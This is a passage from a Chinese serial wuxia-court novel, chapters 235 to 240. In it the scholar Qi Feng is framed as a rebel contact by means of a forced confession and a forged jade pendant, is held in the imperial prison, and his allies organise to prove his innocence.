说着,他又要挣扎着下床行礼,齐枫连忙再次按住他,递过一杯温好的蜂蜜水:“卢大人快别多礼,我救您,既是为了府城百姓,也是为了对抗幽冥教。您熟悉幽冥教的过往,又懂朝堂律法,有您在,咱们才能更精准地布防,这可不是我一个人的功劳。”
赵明德坐在一旁的梨花木椅上,笑着附和:“齐贤弟说得在理!卢大人,你现在最重要的就是养伤,府城的事有我们呢。刚才大夫还说,你这毒虽解了,但损耗的阳气得慢慢补,可不能再动气劳累,不然容易留下病根。”
卢正淳顺从地点头,却仍固执地看着齐枫:“话虽如此,可救命之恩不能不报。齐公子,你要是不嫌弃,日后咱们就以兄弟相称,府城内外有任何事,你只管找我,我定帮你周旋。”
齐枫见他态度坚决,便不再推辞:“既然卢大人如此盛情,那我就却之不恭了。不过眼下,还有更重要的事要劳烦你,关于那幽冥教徒,你还记得多少细节?比如他的模样、招式,或者山洞里的情况?这些线索对咱们找到祭坛至关重要。”
提到幽冥教徒,卢正淳脸上的感激瞬间褪去,取而代之的是凝重。
他闭上眼睛,手指无意识地攥紧锦被,像是在努力拼凑记忆碎片:“那教徒穿的是纯黑的夜行衣,领口和袖口都缝着暗纹,我没看清具体样式,只觉得像是某种蛇形图案。”
“他脸上蒙着黑布,只露着一双眼睛,那眼神冷得吓人,像淬了毒的刀子,身高约莫七尺,比我矮半个头,身形偏瘦,动作却格外敏捷,像是常年在暗处活动的人。”
他喝了口蜂蜜水,继续道:“他用的是一把三寸左右的短刀,刀身泛着绿光,一看就淬了剧毒,刀把是黑铁做的,上面好像刻着东西,我跟他交手时瞥了一眼,像是个倒三角形的符号,里面缠着几道歪歪扭扭的线,看着邪门得很。”
“招式呢?他的招式有没有什么特点?”齐枫追问,指尖无意识地敲击着桌面。
这些细节越具体,越容易锁定教徒的身份。
卢正淳皱紧眉头,回忆道:“他的招式很怪,不像是江湖上常见的路数,没有章法却处处透着阴狠,专挑心口、咽喉这些要害下手。”
“我一开始还能勉强应对,可他挥出黑气之后,我就觉得浑身发冷,内力都运转不畅,像是被什么东西缠住似的,后来他趁我分神,一刀刺中了我的胸口……”
说到这里,他下意识地摸了胸口的伤口,带着几分后怕:“若不是我拼死用剑挡了一下,那刀怕是要直接刺穿我的心脏。对了,我跟他打了约莫一炷香的时间,隐约听到山洞深处有脚步声,像是有人在搬东西,还夹杂着木桶滚动的声音,只是当时我疼得厉害,没精力细听,现在想来,说不定是他们在转移祭坛用的东西。”
“山洞深处有动静?”齐枫心中一动,与赵明德对视一眼。
这很可能意味着幽冥教在黑松林不止一个据点,甚至可能在转移祭坛核心物资。
他刚想再追问脚步声的方向和木桶的数量,就见卢正淳的脸色突然白了几分,呼吸也急促起来,连忙道:“您别急,要是累了就先歇会儿,这些线索已经很有用了,咱们
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改日再细聊。”
卢正淳摆了摆手,喘着气道:“没事,我还撑得住……对了,那教徒动手的时候,好像还念叨过一句话,我当时意识模糊,只听清了几个词,‘血月’‘千人’‘唤醒’,想来应该跟他们的血月祭有关,说不定他们要在血月之夜用千人精血唤醒什么东西。”
“血月、千人、唤醒……”齐枫重复着这三个词,心中愈发确定之前的猜测。
幽冥教的血月祭绝非简单提升邪功,很可能还藏着更可怕的目的。
他正想再问那教徒有没有其他特征,门外突然传来一阵急促的脚步声,伴随着管家略显慌张的呼喊:“大人!萧大人来了!说有急事要找齐公子和您,还带着锦衣卫,看着像是出了大事!”
赵明德一愣,下意识地看向齐枫,眼中带着几分疑惑。
萧无痕向来行踪不定,怎么会突然在这个时候找上门?
齐枫也有些意外,但还是起身道:“我去看看吧,说不定是关于幽冥教的新线索。卢兄,你好好休息,有什么不舒服的地方,及时跟赵大人说,我改日再来看你。”
卢正淳点头,目送齐枫和赵明德离开,眼中满是感激。
他很清楚,自己能捡回这条命,全靠眼前这个看似文弱的书生,而府城想要彻底摆脱幽冥教的威胁,说不定也离不开齐枫的智谋和医术。
齐枫跟着赵明德走到前院时,就见萧无痕一袭红衣站在庭院中央的桂花树下,圆月弯刀斜挂在腰间,刀鞘上的银纹在阳光下泛着冷光,身后跟着两名身着飞鱼服的锦衣卫,神色肃穆,一看就不是来闲聊的。
见两人走来,萧无痕快步迎上来,开门见山,直勾勾的盯着齐枫,脸上还带着几分令人窒息的寒意。
“赵大人,齐公子,今日来,是有件要事想请齐公子回去调查一下!”
第两百三十五章 天牢对峙
听到萧无痕说“请齐公子回去调查”,赵明德几乎是立刻往前迈了一步,他下意识地将齐枫挡在身后,眉头拧成一个“川”字。
“萧大人,这话可得说清楚!齐贤弟刚从鬼门关把卢大人救回来,怎么突然就成了要调查的对象?这里面一定有误会!”
萧无痕的目光掠过赵明德的肩膀,落在齐枫身上,没有半分温度。
“赵大人,本官办案凭证据,而非主观臆断。昨夜子时,锦衣卫在城西乱葬岗西侧的废弃窑洞里,抓获一名身受重伤的乾朝余孽。这余孽胸口中了刀伤,本就只剩半条命。”
“被带回锦衣卫驿站后,更是昏昏沉沉,本官让人给其灌了‘真言散’,这药是太医院特制,服下后会让人神志模糊,却只会吐露真实记忆,绝不会编造半句谎言。”
他顿了顿,从怀中掏出一张折叠整齐的供词,递到赵明德面前。
“你看这供词,上面写得清清楚楚:余孽团伙近年暗中联络府城士人,以‘复乾’为号,核心联络人是一名‘春闱榜首,有产业,善谋略’的书生,此人能在府城快速立足,还能调动商户资源,甚至懂驱邪之术,与幽冥教的争斗中多次破局。’赵大人,府城符合这些条件的,除了齐公子,还有第二个人吗?”
赵明德接过供词,快速扫过上面的字迹,他猛地抬起头:“就凭这几句模糊的描述,就能断定是齐贤弟?府城有才学的书生何止百人,有产业的商户子弟也不在少数!”
”周子陵家世代经商,在士人圈子里也有声望,徐远的父亲是府城有名的粮商,徐远自己也不错,陈玉堂更是书画双绝,不少官员都收藏他的作品,怎么不查他们,偏偏盯着齐贤弟不放?”
“周子陵三人虽有产业与才名,却无‘春闱榜首’的号召力,更无‘破幽冥教邪术’的本事。”
萧无痕寸步不让,手指轻轻敲击着腰间的圆月弯刀,“且那余孽还说,核心联络人在府城的产业‘以丝绸为业,名号带‘锦绣’二字’,府城谁不知道,锦绣阁是齐公子一手创办的?这线索与齐公子的情况完全吻合,本官若是不查,才是失职。”
赵明德还要争辩,齐枫却轻轻拉了拉他的衣袖,从他身后走出,目光平静地迎上萧无痕的视线。
“萧大人,既然有线索指向我,那我便跟你走一趟。清者自清,没必要在此争论。正好借这个机会,把事情查清楚,也省得日后有人再拿这事做文章,影响咱们追查幽冥教的进度。”
“齐贤弟!”赵明德急忙拉住他,声音压得极低,“你疯了?锦衣卫的天牢是什么地方?进去了可就由不得你了!那余孽说不定是被人收买,故意栽赃陷害,你要是去了,万一他们动刑逼供,或者篡改供词,你就算有百张嘴也说不清!”
齐枫拍了拍赵明德的手背,依旧从容:“赵大人放心,萧大人是朝廷钦命的锦衣卫指挥使,总不至于公然屈打成招。”
“再说,我刚救了卢大人,又帮着官府对抗幽冥教,若是连这点信任都没有,那这府城的官,不当也罢。”
他顿了顿,目光扫过萧无痕身后的锦衣卫,补充道:“而且,我若不去,反而会让人觉得我心虚。去了,正好能当着所有人的面,拆穿这栽赃的把戏。您要是不放心,也可以跟我一起去,做个见证。”
赵明德看着齐枫坚定的眼神,知道劝不动他,只能咬了咬牙:“好!我跟你一起去!我倒要看看,谁敢在我眼皮子底下冤枉好人!若是萧大人真要动刑,我这知府就算不当了,也要跟他理论到底!”
萧无痕看着两人的互动,眼中闪过一丝复杂,却没多说什么,只是转身道:“走吧,天牢那边还等着。”
一行人沿着府衙的回廊往天牢方向走,一路上,赵明德还在小声叮嘱齐枫。
“到了天牢,不管那余孽说什么,你
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都别激动,先听他把话说完。若是他说的有漏洞,咱们再一一反驳。”
“还有,他们要是敢搜你的身,或者查锦绣阁的账目,你尽管答应,咱们身正不怕影子斜!”
齐枫点头应下,心中却在快速梳理线索。
乾朝余孽、真言散、锦绣阁、春闱榜首,这些标签看似精准地贴在自己身上,实则处处透着刻意。
更像是有人故意设局,想借锦衣卫之手除掉自己这个“眼中钉”。
会是谁呢?袁振山?他刚失去袁克良,又被袁惊尘牵制,未必有精力布这么大的局。
幽冥教?
念头在脑海中飞速转动,天牢厚重的铁门已出现在眼前。
这铁门由生铁铸造,高达两丈,上面布满了铁锈,门环是青铜打造,因常年摩擦而泛着冷光。
两名守卫天牢的锦衣卫见萧无痕到来,立刻单膝跪地行礼,双手用力推开铁门。
“吱呀”的声响在寂静的庭院里格外刺耳,一股潮湿的寒气夹杂着浓重的血腥气扑面而来,让赵明德下意识地捂住口鼻,连齐枫都微微皱眉。
天牢内部是一条狭长的甬道,两侧的牢房用粗铁栏隔开,每个牢房里都关押着囚犯。
有的囚犯蜷缩在角落,身上盖着破烂的稻草,眼神空洞,有的则对着铁栏外的人影嘶吼,铁链拖地的“哗啦”声与囚犯的**声交织在一起,透着一股令人窒息的绝望。
甬道顶部每隔几步就挂着一盏火把,昏黄的光芒摇曳不定,将众人的影子拉得长长的,映在潮湿的墙壁上,像一个个扭曲的鬼影。
萧无痕带着众人沿着石阶往下走,天牢共分三层,越往下越阴冷。
走到最底层时,连火把的光芒都弱了几分,墙壁上凝结着水珠,地面湿滑难行,每走一步都要格外小心。
最底层只有一间牢房,比上层的牢房大了一倍,铁栏上缠着粗铁链,显然是用来关押重犯的。
第两百三十六章 齐枫被抓
牢房中央的横梁上,吊着一个浑身是血的男子。
他穿着一件破烂的灰色短打,衣摆被撕裂,露出的胳膊和腿上布满了鞭伤和刀伤,伤口有的已经结痂,有的还在渗血,暗红色的血渍顺着衣衫往下流,滴落在地面的水洼中,泛起一圈圈细小的涟漪。
他的手脚被拇指粗的铁链捆住,铁链另一端固定在横梁上,让他整个人呈“大”字形吊在半空,低垂着头,杂乱的长发遮住了大半张脸,只能看到他微微颤抖的肩膀。
“就是他。”萧无痕停下脚步,指着牢房里的男子,对身后一名锦衣卫吩咐,“去,泼醒他。”
那名锦衣卫立刻转身,从墙角端来一盆冷水。
这水刚从井里打上来,还冒着寒气。
他走到牢房门口,猛地将冷水朝着男子泼去。
冷水顺着男子的头发往下流,浸透了本就破烂的衣衫,溅起的水珠落在铁栏上,发出“滴答”的声响。
男子浑身一颤,像是从昏迷中被惊醒,他缓缓抬起头,杂乱的长发被水黏在脸上,露出一张布满血污的脸。
他的左眼下方有一道深可见骨的刀疤,从颧骨一直延伸到下颌,右眼因肿胀而眯成一条缝,嘴唇干裂出血,显然已经受了不少折磨。
他的目光先是茫然地扫过牢房外的人影,在看到齐枫的瞬间。
突然像是被注入了某种力量,浑浊的眼神瞬间亮了起来,嘴角甚至勾起一抹诡异的笑容,喉咙里发出“嗬嗬”的声响,像是濒死的野兽看到了最后的猎物。
萧无痕上前一步,手按在腰间的圆月弯刀上,刀鞘上的银纹在火把的光芒下泛着冷光。
他对着那男子冷声问道:“看清楚外面的人,是不是你供词里说的那个‘乾朝余孽核心联络人’?”
男子的目光死死锁定齐枫,眼珠子几乎要从眼眶里凸出来,他艰难地转动脖子,上下打量着齐枫的青衫、折扇,还有腰间佩戴的玉佩,喉咙里的“嗬嗬”声越来越响,像是在努力确认。
赵明德见状,立刻上前一步,挡在齐枫身前,对着男子厉声道:“你看清楚!这位是春闱榜首齐枫齐公子!你说你跟他联络过,那我问你,你们第一次见面是在什么时候?什么地方?他跟你说了什么?还有,你们用什么信物联络?说清楚!有半句含糊,我定治你个诬告之罪!”
男子却像是没听见赵明德的话,只是死死盯着齐枫,身体因激动而剧烈颤抖,铁链“哗啦哗啦”地响个不停。
他突然张开嘴,露出一口沾着血污的牙齿,声音沙哑得像是被砂纸磨过:“是他……就是他!”
这五个字如同惊雷,在寂静的天牢里炸开。
赵明德脸色瞬间一变,刚要开口反驳,就见男子猛地挣扎起来,铁链绷得笔直。
他的眼中满是疯狂,嘶吼道:“没错!就是他!春闱榜首,锦绣阁的老板!他懂阵法,能驱邪,前几日还帮着官府破了幽冥教的尸傀儡案,这些都是他故意做给你们看的!”
“他真正的目的,是借着这些功劳获取你们的信任,然后暗中联络我们乾朝余孽,等血月祭一开,就里应外合,拿下府城,扶持乾国太子复国!”
“一派胡言!”赵明德怒喝一声,指着男子的鼻子,“你编!接着编!齐贤弟三个月前才到府城,之前一直在青田县读书备考,怎么可能跟你们这些乾朝余孽有联络?”
“他连乾国太子是谁都不知道,怎么扶持复国?你要是再敢胡说,信不信我现在就让人打你三十大板,让你知道诬告朝廷命官的下场!”
男子却像是没听见赵明德的威胁,依旧对着齐枫嘶吼:“我没胡说!我有证据!他给过我一块刻着‘齐’字的玉佩,让我转交其他余孽,作为联络的信物!那玉佩就在我身上,你们搜!你们现在就搜!搜出来,你们就知道我没撒谎了!”
萧无痕的眼神瞬间沉了下来,他对着
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身旁的锦衣卫使了个眼色:“进去,搜他身上!”
那名锦衣卫立刻掏出钥匙,打开牢房的铁锁,快步走到男子面前,小心翼翼地在他身上摸索。
男子的目光死死盯着锦衣卫的动作,嘴角挂着诡异的笑容,像是笃定能搜出证据。
片刻后,锦衣卫从男子怀中掏出一块巴掌大小的玉佩。
这玉佩通体呈青白色,材质是普通的和田玉,正面刻着一个清晰的“齐”字,字体是常见的楷书,与齐枫平日里佩戴的玉佩样式有七八分相似,只是齐枫的玉佩是羊脂玉,且“齐”字是篆书。
赵明德看到那块玉佩,脸色瞬间变得惨白,他下意识地看向齐枫腰间的玉佩,又看了看锦衣卫手中的玉佩,嘴唇哆嗦着,半天说不出话来。
这两块玉佩太过相似,若是不知情的人,很容易误以为是同一人所有。
齐枫看着那块玉佩,心中冷笑不已。
这栽赃的手段,也太拙劣了。
他刚想开口指出玉佩的破绽,就见那男子再次嘶吼起来,目光死死锁着他,像是要将他生吞活剥:“看到了吧!你们看到了吧!这就是他给我的信物!人证物证俱在,你们还不信?!他就是乾朝余孽的核心联络人!你们快抓他!快把他关起来!”
萧无痕的目光在锦衣卫手中的玉佩与齐枫之间来回扫视,银灰色的眼瞳里没了往日的锐利,反倒裹着一层冷硬的审视。
他的声音像淬了冰:“齐公子,人证指认,物证确凿,你还有什么话好说?”
齐枫尚未开口,赵明德已如护崽的老兽般往前一步,藏青色官服的下摆扫过潮湿的地面,溅起细小的水花。
他双手按在牢房的铁栏上,直接维护齐枫:“萧大人!这玉佩根本作不得数!齐贤弟日常佩戴的玉佩是上等羊脂玉,温润通透,上面的‘齐’字是前朝篆书,笔锋圆润,可你看这枚……”
他伸手指向锦衣卫手中的玉佩。
第两百三十七章 争锋相对
赵明德朗声道:“这不过是普通和田玉,质地粗糙,‘齐’字还是楷书,笔画生硬,明眼人一看就知道是刻意仿制!这分明是有人故意栽赃,想借锦衣卫的手除掉齐贤弟!”
萧无痕的目光落在两块玉佩上,却并未松口,反而往前走了半步,红衣与赵明德的官服几乎贴在一起,两人的气息在空中碰撞出无形的火花。
“赵大人,玉佩样式相似,字体差异或许是为了掩人耳目。本官更在意的是,这乾朝余孽为何能精准说出齐公子的身份、产业,甚至连他懂驱邪之术、破过幽冥教噬魂阵的细节都了如指掌,这些可不是街头巷尾随便能打听来的。”
“怎么不能?”赵明德冷笑一声,声音陡然拔高,“齐贤弟是春闱榜首,府城百姓谁不知道?锦绣阁开业时轰动全城,连三岁孩童都知道是齐贤弟的产业!”
“他救卢大人、破尸傀儡案的事,茶肆的说书先生都编成段子了,只要稍有心机,从这些议论里拼凑细节,再故意栽赃,有什么难的?”
萧无痕的嘴角勾起一抹极淡的嘲讽,他缓缓抬手,指腹擦过铁栏上的锈迹:“赵大人,你与齐公子相识多久了?”
“大半年!”赵明德想也不想地回答,眼神里满是笃定,“从他在青田县扬名,到府城参加春闱,再到开锦绣阁,我一路看着他过来!他为人正直,心怀百姓,怎么可能是乾朝余孽?”
“大半年。”萧无痕重复着这三个字,脸上的嘲讽更浓,“也就是说,你只知道他来府城后的事。他早年在青田县的经历,他父亲的**,甚至他祖籍是否真在青田县,你未必完全清楚。”
”乾朝余孽潜伏,连官府都能渗透,伪造户籍、篡改背景,对他们来说不过是举手之劳。”
赵明德被噎得一窒,脸色瞬间涨红,却依旧不肯退让,他转头看向齐枫,见对方神色平静,才定了定神。
“就算我不完全了解他的早年经历,也知道青田县的县令、乡绅都能为他作证!他父亲齐老先生是青田县有名的老商贾,从未与任何反贼有过牵连!这些都是铁证,绝非伪造!”
“铁证?”萧无痕挑眉,目光扫过牢房内吊着的余孽,“赵大人,你敢保证青田县的证词没有被篡改?你敢保证齐老先生的身份没有猫腻?本官办案,讲究的是‘疑罪从有’,只要有一丝嫌疑,就必须查到底。你拿的是朝廷俸禄,该以国法为重,而非凭个人交情护着他。”
“正因为我拿朝廷俸禄,才不能让朝廷冤枉一个好人!”赵明德猛地拍向铁栏,发出“哐当”的巨响,震得火把的光芒都晃了晃,“齐贤弟是难得的栋梁之才!他破袁氏私藏龙佩案,阻止袁氏勾结余孽。”
“他解幽冥教噬魂毒,救卢大人性命,他还帮着咱们追查血月祭,护府城百姓安危,这样的人,怎么会是乾朝余孽?你要是定他的罪,不仅会寒了天下士子的心,还会让真正的反贼逍遥法外!”
两人针锋相对,牢房内的空气仿佛都凝固了。
火把的光芒忽明忽暗,映得萧无痕的红衣愈发刺眼,也让赵明德的官服多了几分沉郁。
齐枫看着眼前的对峙,终于缓缓开口,声音平静得像是在谈论天气:“萧大人,赵大人,不必争了。”
他往前一步,青衫的衣角轻轻扫过地面,目光坦然地迎上萧无痕的审视:“既然有嫌疑,我便配合调查。该录供录供,该查证据查证据,走正规流程就好。清者自清,我没做过的事,就算查遍府城,也查不出破绽。”
“齐贤弟!”赵明德急得抓住他的胳膊,声音压得极低,“你知道锦衣卫的流程有多严苛吗?他们会翻遍你的书信,拷问锦绣阁的伙计,甚至会查你与所有人的往来!你这是自投罗网!”
齐枫拍了拍赵明德的手背,指尖传来的温度让赵明德稍稍冷静:“赵大人放心,我有分寸。我若不配合,反而
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会坐实‘心虚’的罪名,更难洗清嫌疑。再说,萧大人是朝廷命官,总不至于公然屈打成招。”
他转向萧无痕,依旧从容,却多了几分笃定:“我配合调查,但有一个条件:不得为难锦绣阁的伙计和我的朋友,他们与此事无关。”
萧无痕盯着齐枫看了许久,见他神色坦然,还是冷声道:“可以。只要你老实配合,本官不会为难无关之人,也不会逾越律法。”
赵明德还想再说什么,齐枫却用眼神制止了他:“赵大人,你先回府衙,帮我照看着卢大人,也帮锦绣阁稳住局面。等我查清真相,自会去找你。”
赵明德看着齐枫眼底的笃定,知道劝不动他,只能重重叹了口气:“好!我等着你!若是萧大人敢对你动一根手指头,我就是拼了这知府的职位,也要去京城告御状!”
萧无痕冷哼一声,对身后的锦衣卫使了个眼色:“带他去隔壁牢房,派人看守,不得让任何人探视。”
两名锦衣卫上前,没有给齐枫上镣铐,只是做了个“请”的手势。齐枫整理了一下青衫的衣襟,对着赵明德微微颔首,便跟着锦衣卫转身离开。
隔壁的牢房比关押余孽的那间更狭小,里面只有一张铺着稻草的木床,墙壁上凝结着厚厚的水珠,地面湿滑得能映出人影。
锦衣卫关上门,落了锁,沉重的铁链声在寂静的天牢里格外刺耳。
齐枫走到木床边坐下,背靠着冰冷的墙壁,目光透过狭小的窗棂望向外面。
夕阳已经西沉,天边的晚霞染得半边天通红,却只有一缕微弱的光透过窗棂洒进来,在地面投下一道细长的光斑。
……
此刻的锦绣阁,正是一天中最忙碌的时候。
前院的店铺里,伙计们忙着接待客人,展示新到的流云锦和缠枝莲纹绸。
一位穿着绸缎长衫的商人正拿着一匹宝蓝色的丝绸,对着阳光仔细查看,口中不停夸赞。
第两百三十八章 坏消息
“这颜色真鲜亮,质地也细腻,比我在江南买的还要好!齐公子的眼光,果然名不虚传!”
后院的染坊里,工人们正围着染缸忙碌,苏木、红花、靛蓝等染料的香气混合在一起,弥漫在空气中。
负责染坊的张师傅拿着一根木勺,小心翼翼地搅动着染缸里的染料,对着身边的学徒叮嘱。
“这宝蓝色的染料要多搅半个时辰,火候一定要掌握好,不然颜色会发暗,卖不上价。”
二楼的雅间内,更是一派热闹景象。
楚清秋、南宫玥、柳若雪、霍天都围坐在八仙桌旁,桌上摊着一张泛黄的云州地图,还有几本厚厚的账册。
霍天都指着地图上“清河镇”的标记,手指划过蜿蜒的水运航线,脸上带着几分郑重:“清河镇的码头已经联络好了,下个月月初就能发货。我安排了十名护卫跟着商队,都是常年走南闯北的老手,能应对路上的**,也能提防一些不长眼的人偷袭。”
南宫玥坐在一旁,手中拿着一支毛笔,正在账册上记录着什么。
她抬起头,将账册推到霍天都面前:“这是首批丝绸的订单明细,三百匹流云锦、两百匹兰草纹绸,货款已经收了三成定金,你看看有没有问题。若是没问题,我就让伙计们开始备货,确保按时发货。”
柳若雪则端着一杯刚沏好的雨前龙井,轻轻吹了吹浮沫,补充道:“染坊那边已经准备好了,新调的宝蓝色和正红色染料很受欢迎,不少商户都来预定。”
“等这批货发往云州,咱们就能打开云州的市场,后续还能跟云州商盟合作,把锦绣阁的丝绸卖到江南去。”
楚清秋坐在靠窗的位置,手中握着一杯微凉的茶水,目光却落在地图上“城西乱葬岗”的标记上,眉头微微蹙起。
她放下茶杯,美眸中带着几分担忧:“幽冥教的祭坛还没找到,血月祭也越来越近,咱们还是要多加小心。对了,少爷去赵府这么久,怎么还没回来?按理说,卢大人醒了,他应该早就回来了才对。”
她的话音刚落,雅间的门突然被“砰”地一声推开。
一个穿着青色仆役服的伙计跌跌撞撞地冲进来,头发散乱,额头上满是冷汗,青色的衣袍后背被汗水浸得发黑。
他刚站稳,就对着雅间内的众人急声大喊:“不好了!青禾姑娘、南宫姑娘、柳姑娘、霍老板!出大事了!齐公子……齐公子被锦衣卫抓起来了!”
“什么?!”
雅间内瞬间陷入死寂。
楚清秋手中的茶杯“啪嗒”一声掉在桌上,温热的茶水溅湿了摊开的地图,晕开一片深色的水渍。
她猛地站起身,面纱下的脸色瞬间变得惨白,握着软剑的手因用力而指节泛白,眼神里满是难以置信。
南宫玥手中的毛笔“哐当”落在账册上,墨汁在纸上晕开一大片。
她顾不上擦拭,快步冲到伙计面前,双手紧紧抓住他的胳膊,声音带着明显的颤抖。
“你说什么?齐郎被抓了?谁抓的他?为什么要抓他?”
柳若雪也僵在原地,手中的茶盏倾斜,茶水顺着指尖滴落,打湿了她的青衫袖口。
霍天都的脸色瞬间沉了下来,原本舒展的眉头拧成一个“川”字。他一把抓住伙计的衣领,将人提起来。
“到底怎么回事?齐公子好端端的,怎么会被锦衣卫抓了?你从哪里听来的消息?快说!”
伙计被吓得浑身发抖,眼泪都快掉下来了,他张了张嘴,却因为过度紧张而说不出完整的话,只能断断续续地重复着。
“是……是府衙门口的锦衣卫说的……他们说……说齐公子是乾朝余孽的核心联络人……还搜出了证据……被萧大人带去天牢了……府城都传遍了……”
雅间内的气氛瞬间降到冰点。
原本热闹的雅间,此刻只剩下沉重的呼吸声与伙计断断续续的哭诉,空气仿佛都凝固了。
楚清秋
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猛地攥紧腰间的软剑,面纱下的嘴唇抿成一条直线,眼中满是冰冷的杀意:“萧无痕!他竟敢!”
她深吸一口气,强迫自己冷静下来,目光扫过众人:“定是栽赃!少爷与乾朝余孽毫无关联,定是萧无痕为了邀功,故意伪造证据!”
南宫玥早已没了往日的温婉,眼眶通红:“齐郎那么好的人,怎么会是余孽?萧无痕肯定是嫉妒齐郎的才华,又记恨之前齐郎多次坏他的事,才故意陷害!”
柳若雪也强迫自己镇定,她走到伙计身边,轻声安抚:“你别急,慢慢说。锦衣卫是何时抓的人?除了说齐公子是余孽,还说了别的吗?有没有提到要如何处置他?”
伙计这才稍微缓过劲,擦了擦脸上的冷汗,颤声道:“就……就在半个时辰前,府衙门口的锦衣卫都在传,说萧大人在天牢审出了乾朝余孽,那余孽指认齐公子是核心联络人,还搜出了一块刻着‘齐’字的玉佩当证据……现在府城街头都在议论,说齐公子表面是春闱榜首,暗地里却勾结反贼……”
“玉佩?”楚清秋眉头紧锁,瞬间想起齐枫日常佩戴的羊脂玉玉佩,“是普通和田玉,刻着楷书‘齐’字的那块?”
伙计连连点头:“对对对!锦衣卫还拿着玉佩给人看,说跟齐公子平时戴的很像……”
“果然是伪造的!”楚清秋冷笑一声,眼中闪过一丝锐利,“少爷的玉佩是上等羊脂玉,‘齐’字是特别篆写的,萧无痕明知是假,却还故意散播谣言,就是想坐实少爷的罪名!”
小蝶一直躲在楚清秋身后,此刻也鼓起勇气站出来,小脸涨得通红:“青禾姐姐说得对!少爷那么好,怎么会做这种事?肯定是萧大人搞的鬼!他一直针对少爷,现在又栽赃陷害,太过分了!”
她攥着小拳头,眼中满是愤怒:“我去天牢找萧大人理论!我要跟他说,少爷从来没跟什么乾朝余孽来往过,锦绣阁的伙计都能作证!”
第两百三十九章 出谋划策
南宫玥连忙拉住她,柔声道:“小蝶,别冲动。天牢守卫森严,你一个人去不仅没用,还会把自己搭进去。咱们得从长计议。”
柳若雪也点头:“小蝶的心意我们懂,但现在不是硬碰硬的时候。萧无痕手握锦衣卫大权,咱们没有证据,贸然去天牢只会让他抓住把柄,反而害了齐公子。”
就在这时,雅间的门再次被推开,周子陵、徐远、陈玉堂和赵明兰快步走了进来,四人脸上都带着焦急,显然也听说了消息。
“齐兄被抓了?是不是真的?”周子陵一进门就急声问道,“我刚从染坊回来,就见街上的人都在议论,说齐兄是乾朝余孽,还被萧大人关去天牢了,这到底是怎么回事?”
徐远也跟着点头,脸色发白:“是啊!齐兄怎么会是余孽?肯定是有人陷害!萧无痕之前就看齐兄不顺眼,这次说不定是故意找借口抓人!”
陈玉堂则皱着眉,沉声道:“我刚去府衙附近打听,说那乾朝余孽是被萧大人严刑逼供后才指认齐兄的,说不定是屈打成招!还有那玉佩,我听人说样式很像,但材质和字体都不对,明显是伪造的!”
赵明兰一听到齐枫被抓,早就急得眼泪在眼眶里打转,此刻更是直接冲到楚清秋面前,抓住她的胳膊。
“青禾,齐枫他没事吧?萧无痕有没有对他动手?咱们快想办法救他啊!我去找我叔父,让他跟萧无痕求情!”
楚清秋拍了拍她的手,安抚道:“明兰姑娘别急,少爷现在应该还安全。萧无痕答应过少爷,不会为难无关之人,也不会逾越律法,暂时应该不会对少爷动刑。但咱们必须尽快想办法,若是等他伪造出更多‘证据’,就麻烦了。”
南宫玥走到地图旁,指着上面的府衙标记:“现在最关键的是找到赵大人。赵大人一直信任齐郎,之前还为了齐郎跟萧无痕争执过,只要赵大人肯出面,说不定能让萧无痕暂缓审问,给咱们争取时间找证据。”
柳若雪也点头:“赵大人是府城知府,有权力介入此案。而且卢大人刚被齐公子救回来,定会感念恩情,帮咱们说话。只要赵大人和卢大人联手,萧无痕就算想栽赃,也得掂量掂量。”
周子陵立刻道:“我去府衙找赵大人!我跟他还算熟,他肯定会听我解释!”
徐远也跟着道:“我跟你一起去!多一个人多份力,咱们跟赵大人说清楚情况,让他赶紧去天牢阻止萧无痕!”
陈玉堂则道:“我去锦绣阁的伙计里问问,看看有没有人见过那所谓的‘乾朝余孽’,或者知道萧无痕伪造证据的线索。另外,我再让人去打听天牢的守卫情况,万一情况紧急,咱们也好有应对之策。”
赵明兰擦了擦眼泪,坚定道:“我去找我娘!我娘认识不少官夫人,说不定能通过她们给萧无痕施压,让他不敢对齐枫怎么样!”
小蝶也举起手,大声道:“我也去!我去南街的茶肆、酒楼问问,那里人多口杂,说不定能听到关于那乾朝余孽的消息,或者知道谁跟萧无痕勾结,故意陷害少爷!”
楚清秋看着众人坚定的眼神,心中涌起一股暖流。
她深吸一口气,对着众人道:“好!咱们分工合作!周公子和徐公子去府衙找赵大人,务必让他出面干预此案,陈公子去查线索,留意天牢动静,明兰姑娘去联络官夫人,给萧无痕施压,小蝶去街头打听消息,留意异常。”
“我和南宫姑娘、柳姑娘留在锦绣阁,整理齐公子的行踪记录,找出能证明他清白的证据,比如他在青田县的经历、与各方人士的往来,还有破袁氏案、救卢大人的时间线,只要能证明他没有时间勾结余孽,就能戳破萧无痕的谎言!”
南宫玥点头:“我这就去整理账册和书信,齐郎每次外出都有记录,还有与商户、官员的往来信件,这些都能证明他的行踪,绝不会有时间跟什么乾朝余孽联络!”
柳若雪也道
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:“我去染坊和绣坊,让伙计们写下证词,证明齐公子平日的为人,还有锦绣阁的经营情况,咱们做的都是正经生意,从未与任何可疑之人往来!”
小蝶攥紧拳头,眼神坚定:“青禾姐姐放心!我一定仔细打听,就算是蛛丝马迹,也不会放过!”
赵明兰也擦干眼泪,挺直腰板:“我现在就回家找我娘,她最疼我,肯定会帮我!萧无痕要是敢伤害齐枫,我娘绝不会放过他!”
周子陵和徐远也不再耽搁,转身就往外走:“我们现在就去府衙,争取尽快见到赵大人!”
陈玉堂也道:“我这就去安排人手,有消息会第一时间通知你们!”
众人各司其职,原本慌乱的雅间瞬间变得井然有序。
每个人心中只有一个念头,一定要救出齐枫,还他清白!
楚清秋看着众人匆忙离去的背影,又看了看桌上被茶水打湿的地图,眼中闪过一丝冷厉。
她走到窗边,望着府衙的方向,低声道:“少爷,你放心,我们一定会救你出来!”
南宫玥走到她身边,轻声道:“齐郎吉人天相,一定不会有事的。咱们尽快整理好证据,再联合赵大人和卢大人,定能让萧无痕的阴谋败露。”
柳若雪也走过来,手中拿着一叠书信:“这些是齐公子与云州商盟、府城商户的往来信件,上面都有日期和署名,能清晰证明他的行踪。咱们再加上青田县县令和乡绅的证词,还有卢大人的感谢信,这些证据足够证明齐公子的清白了!”
……
府衙门前的石狮子在暮色中泛着冷硬的光泽,朱漆大门紧闭,门前值守的官兵腰间佩刀,神色肃穆,比往日多了几分警惕。
周子陵和徐远快步走到门前,刚要抬手拍打门环,就见侧门“吱呀”一声打开。
一名身着青色官服的衙役快步走出来,看到两人,连忙上前一步,拱手道:“周公子,徐公子,二位可是来找赵大人?”
第两百四十章 很棘手
